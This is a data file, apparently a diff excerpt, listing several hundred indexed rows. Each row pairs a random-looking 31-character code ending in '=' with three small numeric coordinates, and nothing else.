+9002,H8MQVG69BEVHMO01L9WXUQYO01Q8Z67=,141,5,1 +9003,FXILIWRAW38USBD6SK9FT16CNVO3YMA=,141,5,2 +9004,78OPWVZE80S7FM9D70Z19Y3164BHJGW=,141,5,3 +9005,KGXVURADVD9WIYOG8H4P7BOT4W5RJ93=,141,5,4 +9006,39NHE6397EF0VJ8YB08ICE4TCZSSDX9=,141,5,5 +9007,GFM28RQ87HK8EF71N4KWCMH1SYE5T0Z=,141,5,6 +9008,P2VOGUJ5WEUNP8ALKCVJL4F7R4GYE7K=,141,5,7 +9009,M8U4MWN2ZUM0RJ55PT6Q0A8QMAHFPG5=,141,6,0 +9010,89XDWATLYZCQ1BE0QJ9PQFIIFADRVL7=,141,6,1 +9011,Y315LD7T383QS0DZWP8YAU77CPFDKD7=,141,6,2 +9012,V8J1T9L7RMXQ6ZE8FHYJZKFCK6OS31A=,141,6,3 +9013,RGXLFSOHKOQFOKVCUSTB9OX5UFRM58R=,141,6,4 +9014,BR746JMI5CKUM1W9PWUTVKAWX2QLXMK=,141,6,5 +9015,I6NQAM8B0UTYNPF518223A0T2GL045U=,141,6,6 +9016,LELI1W62WU7XTP708G8K2CTO44PRK5Q=,141,6,7 +9017,BPLKM7LOM7H0RHCPBU1GBTE2TRQA3GH=,141,7,0 +9018,0P3SQ9TQ52R5UVVIFO2X4U0GX1DNZ5I=,141,7,1 +9019,0AZ43GVCGUPO5ZS4NKZ5OMECLY9O31L=,141,7,2 +9020,ZWVL8GJ7K533C6JH4K6M3BMP4WJLONQ=,141,7,3 +9021,KQCKK1HHJLJOBNAZTPMBXB2KD2CWEGS=,141,7,4 +9022,LH570X77742GTXYZB0KZQ07B7BQQG4Z=,141,7,5 +9023,S0BHOVNN1D1LW2S4PGTAOLPOO8ZG76U=,141,7,6 +9024,29R2NK89D8A2U3I4FDTXJRT5XEKY9PA=,141,7,7 +9025,87Q41Z4O3XX23735AMEOS4OUKRZ2B7Y=,142,0,0 +9026,85XBKQ7UYLRUZ3VKDMRE8S3WERSY5HA=,142,0,1 +9027,NBZDSNDQZMCCIKI3WAXK5C5JWD04X6C=,142,0,2 +9028,X5FFIE07BLM17RLCFYFGU9SCUZDBAX1=,142,0,3 +9029,UDXKMSB96RTBF5RAHA8TYRGVA59XCPH=,142,0,4 +9030,E1C8K25G73UC8W30D1GB3VJT3N9T3GO=,142,0,5 +9031,VH2TWLXA3TK9V9MWXSG4X67T8S3MHJW=,142,0,6 +9032,D59K28RRKEQIOH9N6GUON8VE0F3YT0A=,142,0,7 +9033,NYK739OP9EJ0QGDM12GY6HJH1VYO34U=,142,1,0 +9034,SPPUCZIAWTJFP0R38EL90Q8SO9X1D5C=,142,1,1 +9035,HE92C0ELFPZ7QGZLAYEJNFLGL4LSERC=,142,1,2 +9036,V28VSIS1LI4W0YYFRYMEQJHGFXF3LJN=,142,1,3 +9037,6F80ZPMY7XHF3EAN6VNXKXDAI2HRCFL=,142,1,4 +9038,KUI18NVR4UDU4DF747670QSRV7B7XNO=,142,1,5 +9039,BL710F2LVA2ECHS23E5DTAV0033ZWCF=,142,1,6 +9040,2JYL9OJVFUVKLRP9OEM73T287LGOG6G=,142,1,7 +9041,KETAZBQNK6330FRI4UG8I8KAT9DAZ2A=,142,2,0 +9042,V3IOF2A8RNVBW6G4M0Y7WUB1RG85UVA=,142,2,1 +9043,D5YU7CJKYPBYX91EUREKEWR3TSE0NDK=,142,2,2 +9044,95KRQ1PIZKFV1I3H8QM2HCACI6VSB3N=,142,2,3 +9045,CTEZ73OTB1ARBLOK9C9QQKNMHSZVZFB=,142,2,4 +9046,WDYWU4K34ZI8SN5IC4FBJ3AZI095W0G=,142,2,5 +9047,D98642KJ2FFC6BQ2AA2GP1HRVFC6JET=,142,2,6 +9048,7CQAJR1T1RLV5T91CV543RTFNDVBK8T=,142,2,7 +9049,GBFBPMUFCLLZMPLU8JVPYWE7QS0QMED=,142,3,0 +9050,X7Q5KJG59F89807DMSAXJM3MDFJFGSA=,142,3,1 +9051,53UP3NPK16WDB3VVZP4MVFFIOZT9HG0=,142,3,2 +9052,WKSTLHDY1S6O7LN8W5QAJPJOYDQM9OW=,142,3,3 +9053,N9L644X7T899DMJGF5QQXKS17J0FJSD=,142,3,4 +9054,7TZNOYBHCK2ZI5RQ6A5CKKF2CJBQBST=,142,3,5 +9055,GFF13DPW945AIBT0SNB80FJC08WEQYS=,142,3,6 +9056,PA0NJCJ1DRYJQVYRTE05LXG43NVVEPZ=,142,3,7 +9057,CA6NNYIE55Y32BEY63S80MEQGUNQJK0=,142,4,0 +9058,Y1B3UJNC19YLNFSR320868ZYNSC53ZT=,142,4,1 +9059,WYT56CKIH4NCC2MQB10JOSWPV1Y9T4Z=,142,4,2 +9060,WHVXXL87VMCVXXCLOF75YYGNNQF7ZMM=,142,4,3 +9061,OAU7O0YIKJV6DTRC0XE831OAX9F7A32=,142,4,4 +9062,8MMCTWC8YIE900KGDP2BT54YXHCCPI1=,142,4,5 +9063,5Z12VC84JQ4XR4BL3BALWXI6SVWBSVK=,142,4,6 +9064,PUI7NR2M7KO58MLTQGKA0CJLTNP2M4G=,142,4,7 +9065,EO7TOBOTU0GKXKH7MR57ND3HTMX0EU4=,142,5,0 +9066,AN8NJYQJ51GXJQ3R4Y3BNDFK5S2JR3E=,142,5,1 +9067,THN2VVN3ZI9KG2DBN8FUY5RA2KP4FTO=,142,5,2 +9068,248ODJ7JO53DGCB3F974IRJ9BLZTRZU=,142,5,3 +9069,WTF1M2YMEPC7E5ORYBIRXHHF2UT7YLG=,142,5,4 +9070,UF62MTM6E4NYHDIAHLL5VMHUFIRZO34=,142,5,5 +9071,DDCGCQDMB8I4YS82UZCBO58ZELTVI9A=,142,5,6 +9072,1M8OVIQP2R92PYAZJRCPB3USDQJ6PFS=,142,5,7 +9073,JTBC3RWCOB587C2M7W8BAEH3XQNW6MY=,142,6,0 +9074,E66E8824XKMN3LSUDPLY24FEM1YSMXT=,142,6,1 +9075,TZNJD0MBUXIK6689CWENXC3MKAHECQL=,142,6,2 +9076,OI8H25OSBS5DH95DBJZJNYI3J1MGYTJ=,142,6,3 +9077,2S8I13YMD0FL8W9J1FOU7T89OT9VSOF=,142,6,4 +9078,X22LS3ZAVLVIZ7I15TY4AALJL40YRAQ=,142,6,5 +9079,2BCXN9BWGMA3NJISSWL1098NQ4A6ZLB=,142,6,6 +9080,9SBFQ6WKD6UY22UQEGF9CHGLATIMDTI=,142,6,7 +9081,QUGPIJ718XAE8G88TVD691RHMD5O0R4=,142,7,0 +9082,YC5KD2DUNMFP0IOT2I1Z1PQT1VGG0H0=,142,7,1 +9083,YXFZ3Q0BVU0G7RSUA9295ZFOL6T0E2F=,142,7,2 +9084,GU2U15W8SIOKZHSX3DD8UBGJEIPWDCO=,142,7,3 +9085,OD14DGSQBHOCFVRBUPRUKXTXLGMOSZI=,142,7,4 +9086,1S3D9EM8TNJPKWFWP7L59DT4O8QMTQP=,142,7,5 +9087,NPOH4B2C0FVEUUQNIPEFBU7M7G4T34A=,142,7,6 +9088,EONPHSN9VNXFDS8XKAJW6TCNWDOSZLY=,142,7,7 +9089,INBWUJNC5MQDBLBVSLL8W2S8UONW38I=,143,0,0 +9090,X74E6DO7O3XYYE2SC6X83RPQS8HFIYU=,143,0,1 +9091,KJFU5PVWO7G1UNLY7GJ93F25J4VKBUQ=,143,0,2 +9092,7E06AQX7QQS4YLPK556T9T9QZRTFEU1=,143,0,3 +9093,WXAVGXVG8MOH95GGWLHQLS1KPBWUI4K=,143,0,4 +9094,AE4UUC1MIOABYGYLK6ZDU3NLU6JHGCI=,143,0,5 +9095,PLEA2NI5AP96HHFY3RS0JZ7HY7GTDCW=,143,0,6 +9096,BRP3ZF0278FMNFLVFD8U056WOK1K8KR=,143,0,7 +9097,GL936TTEQ47VOAH4G8CHWL83GR10LYU=,143,1,0 +9098,Z8Y9TZ6IXMOIM9OWES8K8902Z33XREJ=,143,1,1 +9099,UAMEWUN04U1E0BGO4X1JMVC8YYKYU1D=,143,1,2 +9100,BWNBEE8UI6BR2IPXI9TDR5L4HQWCI5K=,143,1,3 +9101,BDTABSTDNQ6LEKBC048L512LTCAGO6R=,143,1,4 +9102,A8SU0YPYGUSGWB57ILMXBPVHYB0ATSD=,143,1,5 +9103,VBHQM49A8XIMDO8SJ9H5DGO8S1G5HGP=,143,1,6 +9104,YZ2W78KOENLBI40VYN7B4NJL9ZJK5R1=,143,1,7 +9105,8N21AK6YCNWGDUNON4NFVO5J60OS29C=,143,2,0 +9106,ZNZ2QAA9SGK7OHYS6MATNLOSFE8BXM4=,143,2,1 +9107,TRLDJIZTUN971H5Q70KVZEV1770OA5B=,143,2,2 +9108,J5F0KPML8VUB9QF69YV6IYNF5I689JL=,143,2,3 +9109,RPF50V4HQD9F9K6YGH3O87RTFC3TKU0=,143,2,4 +9110,ZXQY1VIVN666UGD5IAEQCNTWCJRPIVE=,143,2,5 +9111,G3ZLWJZEUJIK77DGAVNLW2U50KS3TPN=,143,2,6 +9112,TEJPQANS9B43RYNHFVTC5P1HZWB6PU2=,143,2,7 +9113,TYFMFOPL1R30SECWJMKOGQGWCF58MOR=,143,3,0 +9114,5GFC2495POTMJSGGRR5UA5EJA6OXO8D=,143,3,1 +9115,6KYK2T3PNUEVRDWVU1WRL1TINDDAYOD=,143,3,2 +9116,Y7X2PC65BJKD3HZM84H3YV3841ULHV4=,143,3,3 +9117,N0UTA7LMFQJJZTF75UGSU7LSHZQKYRW=,143,3,4 +9118,2443W1BOIH34PPI2SCPKC9GLUU96BV0=,143,3,5 +9119,EFUQY3BDJXSVQG85HDNBIUP7I0HGKV8=,143,3,6 +9120,P698VDQ1I6V5NV0WIU8BRC4OIY48MZT=,143,3,7 +9121,4PZFRKA76AP70KP28PWHF1II8E05B6G=,143,4,0 +9122,YS8I8YF9HKBOMT7XYPLK0BXJZV6PVG6=,143,4,1 +9123,23YQXW03X7LSDE5TAQTT4VGFGX2STJ0=,143,4,2 +9124,SZVEEVN9GEU2W7VOERACZMNH4C9ZJPK=,143,4,3 +9125,072F4U8J0CULHMYQWA6RS1GQ0DXQGTK=,143,4,4 +9126,5OGOJRS3TOVZQ4JYXFPO3VH7CJFZ9XA=,143,4,5 +9127,B6QDSPIO394Y9T812MR0RPB4RZWPCJL=,143,4,6 +9128,7AAGLVX2E6Y7EEJID9CD01993J0YP3W=,143,4,7 +9129,NJQ35UWVQXCH4UBWWY7T34FNYJC46RJ=,143,5,0 +9130,CHRWML7C5OU27GET9UD4T2CW6A7S7D4=,143,5,1 +9131,7C6500QQB3GBXVC18SX0H1TCSPGACK2=,143,5,2 +9132,DZ2RUXWB15BQB15UO2CFMQHIME7D8QZ=,143,5,3 +9133,LF1UGC4CB6RGF1O6GW5H7XSD8O298UR=,143,5,4 +9134,CYK7DHF3IWY25EQ6X4C5XS1ATMN3MXE=,143,5,5 +9135,IRP8YH8T1T3J5RG5IZUTNSZWFMWKL99=,143,5,6 +9136,ZGFY01MGC7EP685M4WPSDPPJPJJVR78=,143,5,7 +9137,5XQT1076UG25ZAM0XIRAY9W741C7WW1=,143,6,0 +9138,N30XKWT4Q5UFZ0WI9M7VZFHQ98KU1PZ=,143,6,1 +9139,MGMZCVWJCZYVZAJ1ZUP4FBJ6I4Y6CSM=,143,6,2 +9140,M0EWHF5EKYZ7POWMDUQXIJU6I3ODT9N=,143,6,3 +9141,RO5WFA9LKNI24AI10E1MY17PUKIM4O7=,143,6,4 +9142,ATM9P2K0MQO5B9P45KNNOV70R1WUWFI=,143,6,5 +9143,V21SRBRP8VO6OBXMYXBVR8D4XMO2UU3=,143,6,6 +9144,WVTM8RJ8JPQ0P4FJOLSLM0U3WVHH5FV=,143,6,7 +9145,JVM3L0T1D448CSMC91DQ4XOP9A5VTJR=,143,7,0 +9146,01L8K1IX2QJ2SKJC12DD8FZJNHZOMHN=,143,7,1 +9147,5YTW263DDDNGCZAPLU67PO9KZ1UPOE7=,143,7,2 +9148,0Q5RRUXUBFHE77TWLVMMQCE7J5H4HGI=,143,7,3 +9149,MPXHRPHVK3REU03G8JLPBH5JQGL5HD5=,143,7,4 +9150,O4WP5ETXKAZCICGW8JG2OXDZXFD3DYC=,143,7,5 +9151,M55FVW664XV8D9C37B4JQ5EMEYWMWTS=,143,7,6 +9152,OHBIARV734AEO9D4N4CBB04L2H8Y99U=,143,7,7 +9153,UCFQ56A66S223HACXG3BOZWJUYETKS4=,144,0,0 +9154,X02T63KFV1G2VJ1S15SGD4U6VXP9VRT=,144,0,1 +9155,D6UXMS6UCHDBILFW2PPSIXZJ1RCCI7X=,144,0,2 +9156,9EW0T6XKTIT7Z8UBDUFEPKFL0L135PN=,144,0,3 +9157,MUPCFXUJQMXJOBZ4VLH0VCWKKINGXVA=,144,0,4 +9158,6X7BF1ARXYEP9XO8FJK86BUAT022EFB=,144,0,5 +9159,KCYLVRDIK2Y9HHL1NCR4IN1RTQSCJZK=,144,0,6 +9160,8WW1F45DLOFM80C9M72FDDM20DWINSA=,144,0,7 +9161,DRQQE8WEW578P3DWIYA9GE258NXUQ2I=,144,1,0 +9162,T946W37JJP6U1D5HEB3WT23LU3E9KG0=,144,1,1 +9163,IZ02P6FTAN1U18SXNZGFFHN3LYWW4EH=,144,1,2 +9164,F0TURWO5KHY2EUK6EKQPIP4PDWTW21E=,144,1,3 +9165,VWXV148M6344LTJET1E9VYGN12L5S9H=,144,1,4 +9166,XDX9DQCBFKZKN4W1RNRSN4EVEZL5M7K=,144,1,5 +9167,B680NCXH98N6M4K82CBGV5WBE5ECF93=,144,1,6 +9168,7QW2LPM333A9EX11Q49560RL6008KJC=,144,1,7 +9169,0G8EFMGQ60LNWB5GDBJC4I9IO6J7OO8=,144,2,0 +9170,BLDC6K34OVVM1YTAWY5PWCZY7YGPKI9=,144,2,1 +9171,96ZWGX0WKN7IRW1WVK44V86IAIYF0M4=,144,2,2 +9172,KQESUL2RT4MESNE66TT7CMB5B7B6VU8=,144,2,3 +9173,SW5E5ZWPXY44PSMPIDPUN3PWDWDFY1V=,144,2,4 +9174,M980XX8XSDUF0EPSLNC3WTRE2M5Q0RL=,144,2,5 +9175,AFYUURR3OZEE3RAH4GJLQ0800XQCLA4=,144,2,6 +9176,WT0WRCA92MORQ8Q4Z7Y8SQVA6E194EQ=,144,2,7 +9177,QKXGNMA2IVQCSHUXQUKGPJOIWYZMNRN=,144,3,0 +9178,KCWBYHUJP7K2OAWOWJG4O3347OVM7RY=,144,3,1 +9179,0FKLAI1XNZBIIU4O23YZVXX280KE60E=,144,3,2 +9180,EWOIXTNCZJJBJIBJONAZMK6YV9KLD53=,144,3,3 +9181,SRXFJIP0YRJRXW91U1AVSPLKO4754PL=,144,3,4 +9182,DBRV8XSY1HDQ5NOXTYKIZBE3TQ3SA80=,144,3,5 +9183,BEM448IF1X8NO6W0BJNIEJAZQ7NL618=,144,3,6 +9184,BY0KDTS2AHV8JUPBES4GVDFFPUM36A1=,144,3,7 +9185,6C1MYPB2TTBPFUNOCH2BJEKW0IYC7WY=,144,4,0 +9186,2YKMAO2KOO3J8IACRV4Q4BET4ZOE8S8=,144,4,1 +9187,SOT38I6TU0R7DPG31A0G6ZFF9ZGE5BS=,144,4,2 +9188,XQ0CDOV9690929QTU387URXKTIX575G=,144,4,3 +9189,ZSJ4EVTD86LHO8HL95WTN1KL5QW6QTU=,144,4,4 +9190,01A4R27IH110AF1J8CSEYPRTNFGODS2=,144,4,5 +9191,A09BPHPZ9DYB2HY21K171RDJ4VEKDP2=,144,4,6 +9192,7MQZVTY6784T6L8QNZPO71KMB9TOJ6V=,144,4,7 +9193,30CLKAM7TRV48R0IFLCKK043YBGXDQD=,144,5,0 +9194,SY1COY6299M7HQXGYN009K9WZ5S32AL=,144,5,1 +9195,05AJQ6JDNYK4TIQNN291THW3XZVPE3B=,144,5,2 +9196,3VRCM9K7B7K7YHS57YZJG76IMDJZ3AP=,144,5,3 +9197,RCKVA4LSQCW19FTGN1ZUV6UMUBW5JUD=,144,5,4 +9198,B5QWZRTK5KFAPMIQ8VTRFA70YOR6FVX=,144,5,5 +9199,ZT8T6TLFMLRP8LR15BRJP7NI6101VYX=,144,5,6 +9200,UADBZIWQP3216AO47T2J68MPXQ4NGJ8=,144,5,7 +9201,2E2M8NF83IL3LE4S9IRL8LJ4628B29O=,144,6,0 +9202,72THNV2AFL5C1W1FFUWAT9Z486DCVR7=,144,6,1 +9203,K33EENG6GWYS4MJGEHEKJLOHY2H07I4=,144,6,2 +9204,1PIPT0OBQ1BWJ9HDTJSURL3IXTMHRW8=,144,6,3 +9205,QUFOHE3GRD88UVPZ8NYLGCOTRW3ZKEH=,144,6,4 +9206,I1S5TPP3FRW8UCDS62Q4X9LBVJVLP2U=,144,6,5 +9207,9BA4HQEKTNYR67GCQCUSGN62JYDUBM0=,144,6,6 +9208,TG6GIG1TRX5O03KO9SHYO4PTTZXG5SD=,144,6,7 +9209,NIMG4LQLDSPG2V7KTG2PFCY1BQ43XRA=,144,7,0 +9210,CHTPD5CI9DEZHGORU65XTZPPC4P2V5Y=,144,7,1 +9211,20AEX8T2465ZGLDPG2DXYANFNQRSZG8=,144,7,2 +9212,AJ1LQ7RRMD849L39PQ95ZO7CGEZ3NUS=,144,7,3 +9213,VOACXCP27HABO4KHA3W621LKFL8Z96M=,144,7,4 +9214,ZYKF8TIQ4O05VO11ML7LW596LMPXD25=,144,7,5 +9215,FA1T1KSA1VKW4YGT871V32DQL8JRTKK=,144,7,6 +9216,0XESGZQEFM5XKEU75B6Z42PC07F5XFU=,144,7,7 +9217,W4TZ4J8ZAIEBXAX5D7D1ITTVL9T67X3=,145,0,0 +9218,3Q9J4UU5WCPDXQ5ZPBBR1D3BW68KWZL=,145,0,1 +9219,1YN2PTNV14M3Z8EWBYD4JPVXVHPI69B=,145,0,2 +9220,OUCELGYCU6OQB3HY5D9W79L9VAZSWAI=,145,0,3 +9221,6WW6OMZ31N55WU4VGCH3R1CSI8UTMVY=,145,0,4 +9222,SY6956NPVNATAO4G6RVMF9J0NHZ21RE=,145,0,5 +9223,0R7ELDEOUM21IKV47NK9XPS5TRPNFFW=,145,0,6 +9224,NEFMZ6HLEWYYQ8NM4AJZCKMKJCP0NEX=,145,0,7 +9225,K6WL1KS56U4QPG7GZM2HIFMS4C9LMLP=,145,1,0 +9226,R7E8D1OWUF1E6FGB4ANNGH6QKSW2KHH=,145,1,1 +9227,9T3EYP4Z44Z85ATE6VX317W5JU9J719=,145,1,2 +9228,T197AK0YEUJ1Z7ASBP9TCP9OEX2CP7S=,145,1,3 +9229,AQQ0NJJ8CQZOXPIRNF90HJN4IHC8Y3S=,145,1,4 +9230,TC9WPJQZMTQ6N4U5CNFV539KEL460DJ=,145,1,5 +9231,L6KYLKL4PQLITM5UJK07Z7Z0JV9FX2K=,145,1,6 +9232,WGRWCFMFTUR5GBIAHXOIXH2ZI1MBXNP=,145,1,7 +9233,RXJDAVU5GHPWLTOSLXW6JZPLIXKS40V=,145,2,0 +9234,GCU9GAQ9AFG8LGGH8WERRPEJJHAMJHR=,145,2,1 +9235,BJOV0N0204V6CTXHFJVOC71DJCKVY3T=,145,2,2 +9236,S18EGCWIDT3P2GZG3JTANMS1LB6SYR3=,145,2,3 +9237,GR0PJEZN1L7FXJK6055ZNBEAFTZ5WF0=,145,2,4 +9238,XEW1ER6T627MDO9WAS7GGBNLZZDJZ8Q=,145,2,5 +9239,TASEIOB77RFIY4JI2KUSYSDTLXF9XC9=,145,2,6 +9240,9COS460PNXHB0SC0FCPC3GG8GXU45P3=,145,2,7 +9241,QFSLL8T5AGVBYHC5WZHE33BX6KMSBCV=,145,3,0 +9242,ZYIK218UMIG5KA6GNY3SKY7CUJZPPGF=,145,3,1 +9243,VZQ2ZXHHGWKQCJVTHH510JQE6VE33D7=,145,3,2 +9244,5KYZ6DOYUOG1936VHP8LFMUA34VS0CW=,145,3,3 +9245,SSH8RQO3O1W509XWFI96G3WI2TR6DN9=,145,3,4 +9246,Y662ZPBUHVZKV2IEPD0BF3O95H3GU8L=,145,3,5 +9247,1GUJVVQHOE8AMHQYRFEJOJXSQENWLB9=,145,3,6 +9248,5BQQCOQNS9VVIVQ8NEXVFZAN369JVCH=,145,3,7 +9249,VDZNZKWXUSBGP0GIGYOYBOR9THT6PRL=,145,4,0 +9250,EL48KWU2LQUNQ85QUBKZZDIGTMY8DH3=,145,4,1 +9251,3GEN9KC95LYK2KL0QGFTG3MD9LU4CAL=,145,4,2 +9252,8G1EA5DHRME9WUSFWMT6J2OY3XEB5MI=,145,4,3 +9253,44M44YJQ3Q6WBXHIDZ8THNSVF9TLN9X=,145,4,4 +9254,BFY4H9LOPNSTYROQLYQACHUM8D4GX0F=,145,4,5 +9255,RQQ8CZ4YM07OEHRSUFWUL7KGQRLTFGB=,145,4,6 +9256,LEDORX59BNHPSMP5AQZULEFGGW76PW4=,145,4,7 +9257,BITM6VVR9IHDBVDUGKABBIR8I5QGXSF=,145,5,0 +9258,UI1R9F9REZSZ9286QU82YJ8X8B2588E=,145,5,1 +9259,TAN7RHHUFN8IIX8MNW02NMYSDHGHUGW=,145,5,2 +9260,KJ0MK7GYDMW9XFJTGAMGXXH8A87SP4P=,145,5,3 +9261,M6584EW9P7LWSI2CMHTHOEANDYNVXHH=,145,5,4 +9262,AWN69YOFJNPBAOCGESUKSZX0TYU2NUM=,145,5,5 +9263,EFMTIZJEXY5OR1O8Y1Y9B9FG1KHMG88=,145,5,6 +9264,5A5STWE1UK9N88OJSS39HBELZR3DMED=,145,5,7 +9265,JFRPST8R0J94R3JZNILAUD6JNQO16UG=,145,6,0 +9266,K5FZW1DCASPOLMS111PRHD019OC2KYK=,145,6,1 +9267,YJNYCP3GTJNKMFVLHJ4SYFNJ0M4XW6H=,145,6,2 +9268,UL8X7C0BGGXFW6N5I8AW13LDW9LGS59=,145,6,3 +9269,RZPL56BB8TWL73HEFDJMDKK66SZJ5X6=,145,6,4 +9270,Z9NIPEPTBAMH839H58XPKEWV0ZUERAD=,145,6,5 +9271,4J2X1H8KGOAUK96SDEGUX9VQS53SC0L=,145,6,6 +9272,H7100TJ7A906PF2JAFGPB6P9780BX8L=,145,6,7 +9273,E9TN98VABIEBOPI1ORE77QOG65KFPS3=,145,7,0 +9274,BKWM1C32RUV0OLAJPGLFSWJU4ZEW55H=,145,7,1 +9275,17SZCKGBDBLWZRVYK5353NUNGH2Z8PM=,145,7,2 +9276,33QHHFV8Z0VPR67VSM1AURM3QS9L6SO=,145,7,3 +9277,CPZD5D70J11JYM3TS2OPSFAMAQA9WXE=,145,7,4 +9278,QXKG9I9ZKUOZ0CQW6IGJJS70BBPCRPK=,145,7,5 +9279,64UFPNZUZ46IVGRPYEMX645CYNVB6XD=,145,7,6 +9280,M5P592R264C5120IGLEBVN59IHU3AXK=,145,7,7 +9289,08YBE1B8U10LW6WSZOZ1J96ULRDJP53=,146,1,0 +9290,FMGDFEP43YHJ1TBN6Q73TL41JPRTOH6=,146,1,1 +9291,K4LQIJUSUIUM0IDQ6AQPABEG0XOXCD7=,146,1,2 +9292,QHAGH79HLDIBNO7Z2KHN1M59O902262=,146,1,3 +9293,34AKVS9NYNSO3SUD5I2QW7P05ZO01BR=,146,1,4 +9294,BIBZTH3X6133WQX20HWRWWXRVDHC2DC=,146,1,5 +9295,SJGDT8GB0UDWO7NIUDBL4Z18PZVX9QK=,146,1,6 +9296,RABD06TTCCORSW7XWASB8LMPV6MLHNO=,146,1,7 +9297,GHK2CBBD44MIQ1Z6UDMLNL181733YG1=,146,2,0 +9298,EB6MNCMJ2ELVYQSFW8G8JWW4I603GWN=,146,2,1 +9299,DN7G4F5R84E510IP3BWU8CR46R49ED0=,146,2,2 +9300,RP78KNS7OHSNTWZSASTK8416UC9OSV2=,146,2,3 +9301,PBA1TN6NYZSVQ57LZDQ81LQQJEQ36XB=,146,2,4 +9302,5UP8HQ42VGTF8JSXXJ1TO2E0PLGT9RP=,146,2,5 +9303,XZ26AM2C66PQ61VORBQ7K5SIP1WA1WA=,146,2,6 +9304,K3HGUZVXTH7C5ZL5LC0N9FTF0NNS72B=,146,2,7 +9305,VALEVZ0TAM2SI6ZGJ6OQHWGBSSXT1J6=,146,3,0 +9306,PN8NKI8L6I16HUC1N03CR2XO6UGR0TH=,146,3,1 +9307,K8UBBWEJCO5ROGOSM1PQNY379J9MNFI=,146,3,2 +9308,1EHJW7IKM3UBPM7MDZ2VLFS0CB3R1O7=,146,3,3 +9309,9JPUHT91B3YZKE16R7TJHKQ9U79W64R=,146,3,4 +9310,JANCD91AC1JZ3JA0KP4A3V9T9Q51EZ3=,146,3,5 +9311,6TW7FQM88LQGV5FSMB2L1SZHSXSSO9Z=,146,3,6 +9312,F4AXJXPT3NQHVU9MX5T5VRIQVZ3VZS6=,146,3,7 +9313,H6YPS4R9DTAPZTRRC4STRZZ84W0SCY4=,146,4,0 +9314,SZZOQ7GQGPTXL5WMH2QJMRJ67SA3U5G=,146,4,1 +9315,5V5QKQOSHVT7J5I7WOHC6DRDOY92EAC=,146,4,2 +9316,NPLUJ5N12GRV83O1S6XFFE3DZUS1THY=,146,4,3 +9317,MLSDIDOK3QPL1S1HXVITAADW7MDXCMT=,146,4,4 +9318,LTBSV6Q58ZDZ1H49U0WCBY909O1BPJY=,146,4,5 +9319,501ANNHBZL2E76J8B3BA0UBVYCSCEEQ=,146,4,6 +9320,3VYMRHNDBMZGHMP2KHEAQMU9JIALPBU=,146,4,7 +9321,XPEHAK3Z4OAZV0P020XXNNOF318UKVF=,146,5,0 +9322,3NG22LH0Z49WX3FW88XYJQIYI7C88EH=,146,5,1 +9323,4O6078O4VT9FDOP39SEI8W3X5VVFR4P=,146,5,2 +9324,32FDIQLW7HD5R1KWQPSDB4RU92PVIZS=,146,5,3 +9325,8WCU52YNV4YEH8044R80BNV6WPWW39J=,146,5,4 +9326,3HWVWXBTSF58LFXPQ7UD1FF24P0JFJT=,146,5,5 +9327,X0V35ASOS7J7QY4JC30DB17YWDZ6BVC=,146,5,6 +9328,JLPAT05KRZDT9L2XDVWJSNURVFLB7AH=,146,5,7 +9329,TDEBV3TI34V1E6H936R63BIY7KY1Y2M=,146,6,0 +9330,9B24JAZMTB0X5M5L9VLUS89AQZNZ1WX=,146,6,1 +9331,5DSZPFFEBFVS9T44IAX4P0GF6FAVNIA=,146,6,2 +9332,J1V1VKG6LHUDGA3UJKU9FRMJ4OS4ZXT=,146,6,3 +9333,1YRQFGEW0F672505CDDC63AVBJUGLMS=,146,6,4 +9334,GTOMJLIW8KG9SSIQ6RBP447D2MGTZDZ=,146,6,5 +9335,D084ETKGI9QC9L3WLVLXYYFBIZGD2L8=,146,6,6 +9336,SEIQIW8YOST83F97BJM4UQTW0O3T2KG=,146,6,7 +9337,PFNQNS06RB5QPE5WFLV28F5RCH3OAOS=,146,7,0 +9338,ZEE9A8PRSHA4RFX5LFILRJBW5IW7YT3=,146,7,1 +9339,MUO1OSOZ6QFZ25QYLCOMDVX8IOUQ3ZG=,146,7,2 +9340,IDLSVUJP81OSGIBYR9KRDUA40PJTCDZ=,146,7,3 +9341,R2QTX2I0ZA6BVQWSBPNIJJEGU6VWR58=,146,7,4 +9342,5S84S06VU1C21RV03HLPFS9740GMA2N=,146,7,5 +9343,1JUZJ6R5A8N0E46GTKLVYJVZ1OBLJ3J=,146,7,6 +9344,TKB7N3VMLQ463X5NMRBRGCAAQLK387Y=,146,7,7 +9345,TLVQ8R739Q0R5I70VWDTKMPX63D68TW=,147,0,0 +9346,HVSNCEKY2CN77XDKJQGRSNYUHL8FEAF=,147,0,1 +9347,GQUTIBUL036XW9KBUSVKS8DFUF0BE4N=,147,0,2 +9348,1I02LLZM9FXD4YGLK1K29MDIKO2TYVR=,147,0,3 +9349,H3VVBMLHKDRSMNPAJWDUXL8PNQOVI2M=,147,0,4 +9350,OOZDB3QGO4YUC4FHZBDAW5F7UHDI848=,147,0,5 +9351,CTVJUOQGXPRXQRSETLNAQL6LVCMU7ON=,147,0,6 +9352,XQNLHK98VEG3BJRHR6E4WTJVYTMUKUK=,147,0,7 +9353,1VL4YOMQBIMV6CF82P2E78Y9ERTL81Q=,147,1,0 +9354,FNGVUPUUGS7EHZPHYKCSDJHKA2V3AEO=,147,1,1 +9355,MAIJGUF33BC0851C5F2OS4UX3TWWSLX=,147,1,2 +9356,9XP844TYAIP9TETSFHFLZXKUIODXIAZ=,147,1,3 +9357,BDWK2R75P5NN4G5EPDMDVQE2NWEUV7O=,147,1,4 +9358,HZ0P56R0UPOCMIHB7PCH6MAY2EOTMDC=,147,1,5 +9359,K18IOKZL65FTDYG4HEXDEDU7WGS9B28=,147,1,6 +9360,BZ8Y7IYZ2GXXYBOJGRC59AX30AHW9VC=,147,1,7 +9363,ZVOO929JT7WW7P2QK91CX2ZOAXAEJXW=,147,2,2 +9364,SE76RSCBWROGVTK4TZ9IURSODTLQ0S7=,147,2,3 +9365,OH1JFY7LZ5S09NWB6UZYX0XHUA744T2=,147,2,4 +9366,E9AIEVYPCRXZLUNGHMHIZRD6EAXTYQL=,147,2,5 +9367,ZO5WKWE1QLOMOZ6ZRMHMMV2OE4CC9CX=,147,2,6 +9368,RU8K2YIUWBHQ1YTSM4DQN7V0P55ULW6=,147,2,7 +9369,XBJ63HG5I3XYF2PXYR200JY4CSRAUER=,147,3,0 +9370,3LVMSXL9HPE5QW1ARU46L458G9B66BM=,147,3,1 +9371,TZSIXID4H1ILOXSEPONFS4VGP7TZ6SD=,147,3,2 +9372,LZ3LSBVV08KY33ZJ57NBBE8PFTM040N=,147,3,3 +9373,FJCCD2NXIZMD527AT4PLBZM689EVC40=,147,3,4 